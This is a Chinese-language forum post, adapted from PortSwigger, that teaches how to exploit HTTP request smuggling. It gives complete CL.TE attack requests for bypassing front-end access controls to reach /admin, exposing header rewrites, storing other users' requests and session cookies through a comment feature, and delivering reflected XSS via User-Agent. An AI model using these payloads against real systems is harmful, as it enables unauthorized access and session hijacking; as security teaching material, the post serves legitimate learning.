利用HTTP请求走私漏洞

nicky   ·   发表于 2020-03-13 15:22:39   ·   技术文章投稿区

使用HTTP请求走私绕过前端安全机制

在某些应用程序中,前端WEB服务器用于实现某些安全控制,以决定是否允许处理单个请求。允许的请求会转到后端服务器中,在该服务器中,它们被视为已经通过前端安全控件传递。

假设应用程序使用前端服务器来执行访问控制权限,仅仅在用户被授权访问所请求的URL时才转发请求,而无需进一步检查。在这种情况下,可以将HTTP请求走私漏洞通过将请求走私到受限URL来绕过访问控制。

假设当前用户登录只能访问/home不能访问/admin。他们可以使用以下请求来走私攻击绕过防御:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在这里会看到两个请求。都是针对/home的,因此这些请求会转发到后端服务器中。然而,后端服务器看到一个请求是对/home和对/admin的请求。服务器会假设这个请求是已通过前端安全控件传递,因此会授予对受限URL的访问权限。

显示前端请求重写

在许多应用程序中,前端服务器通常在请求添加到其它的请求头之前,会先对请求进行一些改写。然后再转发给后端服务器。例如前端服务器可能会:
终止TLS连接并添加一些一些请求头,来描述所用的协议和密码;
添加的东西会包含用户IP地址的x-Forwarded-For头;
根据用户的会话token来确定ID并添加用于标识用户的header;
要么添加一些其它黑客感兴趣的敏感信息。

在某些情况,如果你的走私请求缺少某些通常由前端服务器添加的请求头,则后端服务器可能会无法以正常方式处理请求,从而导致走私请求无法达到预期的效果。

通常有一种简单的方法可以准确显示前端服务器如何重写,有以下步骤:
查找一个将请求参数的值反映到应用程序响应中的POST请求
随机排列参数,来使反射的参数出现在邮件正文的最后
将该请求走私到后端服务器,然后直接给你一个普通请求,该请求的重写形式要显示出来。

假设一个应用程序具有一个登录功能,该功能反映了Email参数的值:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net
返回来的结果是这样的:

<input id="email" value="wiener@normal-user.net" type="text">

在这里你可以使用以下攻击来让前端服务器执行的重写:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com

前端服务器可以重写请求包含其它的请求头,然后后端服务器会处理走私的请求,并将重写的第二个请求视为Email参数值。然后它会在第二个请求的响应中反应中的值:

<input id=”email” value=”POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external

捕获其它用户的请求

如果应用程序包含任何允许储存和检索文本数据的功能,则可以使用HTTP请求走私来捕获其它用户请求的内容。这些内容可以包括会话的token,启用会话劫持攻击或用户提交的其它敏感数据。用作攻击手段的合适功能是注释,电子邮件,配置文件描述,屏幕名称等。

要进行攻击,得需要走私一个将数据提交到储存功能的请求,其参数包含位于请求最后的数据。后端服务器处理的下一个请求将附加到走私请求上,结果将储存另一个用户的原始请求。

假设应用程序使用以下请求来提交博客文章评论,该评论将被储存并显示在博客上:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

同时,你可以执行以下请求走私攻击,该攻击将数据储存请求走私到后端服务器上:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当后端服务器处理另一个用户的请求时,该请求将被追加到走私的请求中,结果该用户的请求将被储存,包括受害者用户的会话cookie和其它任何的敏感信息数据:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj

使用HTTP请求走私来利用反射性XSS

如果应用程序容易受到HTTP请求走私攻击,并且该程序还包括反射型XSS,则可以使用请求走私攻击来攻击该应用程序的其它用户。这种方法在两种方面优于对反射型XSS的正常利用:
它不必与受害者用户进行交互。你不用向他们提供URL,也不用等他们发访问。只需要走私包含XSS有效payload的请求。后端服务器将处理下一个用户的请求。

它可用于在请求的某些部分中利用XSS行为,而这些部分在正常的反射XSS攻击中无法轻松控制。例如HTTP请求头。

假如应用程序有一个反射型XSS漏洞在User-Agent请求头,你可以用下列代码进行攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
下一个用户的请求将附加到走私的请求上,而且他们会会在响应中接收到反射型XSS的有效payload

引用:Portswigger https://portswigger.net/web-security/request-smuggling/exploiting

用户名金币积分时间理由
奖励系统 100.00 0 2020-12-16 08:08:06 投稿满 10 赞奖励
奖励系统 50.00 0 2020-12-13 09:09:57 投稿满 5 赞奖励
admin 100.00 0 2020-03-16 10:10:46 一个受益终生的帖子~~

打赏我,让我更有动力~

0 Reply   |  Until 2020-3-13 | 957 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.